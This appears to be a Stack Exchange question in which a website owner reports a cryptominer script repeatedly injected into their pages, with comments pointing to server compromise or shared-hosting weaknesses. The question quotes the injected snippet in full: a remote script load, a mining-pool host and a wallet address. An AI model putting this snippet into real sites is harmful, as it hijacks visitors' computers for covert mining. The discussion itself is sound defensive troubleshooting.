2

Recently I noticed following javascript on several of my pages (usually just before closing body tag):

<script src="https://ethtrader.de/perfekt/perfekt.js?perfekt=wss://?algo=cn?variant=0?jason=monerov.ingest.cryptoknight.cc:9221"></script><script type="text/javascript">PerfektStart('46PgJtwUkg18z7Cu7xAd2F972GSEQUzoGHWP4fwUHbdj7qgZqhf27Pm7Y7BdMUH2gahQdrCmbKxNuJAyUrGfThnhCgEyinb', 'x');throttleMiner = 50;</script>

I realize someone is putting cryptominer on my pages. If I delete it several days later it returns.

My question is, how is it possible for an attacker to inject code directly into the document? Wouldn't you require server credentials to access and edit files on the server?

Is this possible with XSS attacks?

Improve this question
5
  • 2
    Chances are, they do have some kind of server level access - you could inject a script into a specific rendering of a page with XSS, but not into a file on the server (unless you're doing something very weird). Treat the server as compromised, since it's very difficult to work out how they are getting in or what else they may have modified to preserve access. – Matthew Jun 8 '18 at 10:17
  • @Matthew A lot of PHP will dynamically generate HTML pages and store those pages based on user input. XSS in that code could allow a script to be injected into an HTML file on the disk. – forest Jun 8 '18 at 10:22
  • @forest I'd debate "a lot" in that sense - 90% of PHP i've seen doesn't touch files on disk for writing, and most of the rest is install scripts, where they write to a single pre-defined file, and would overwrite the entire file rather than add a single line, or Wordpress... I certainly wouldn't consider an XSS vuln as the first possibility for files being modified on the server - it's usually easier for an attacker to get server access through other methods, like weak passwords, or insufficient segregation between clients on shared hosting systems. – Matthew Jun 8 '18 at 10:31
  • @Matthew Well my provider is a shared hosting. It is worth mentioning that I also noticed the script on Wordpress sites aswell as on my own CMS system. Script is not always on the same position and it seems like someone is putting it there manually (not via bots) – LazyPeon Jun 8 '18 at 11:17
  • @LazyPeon then it might also come from one of the other sites of the shared hosting getting compromised, with the separation between the websites being broken. First step would be to contact the sysadmin of the websites (and CC his colleague in case the admin is mining :P) . – J.A.K. Jul 9 '18 at 8:55

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.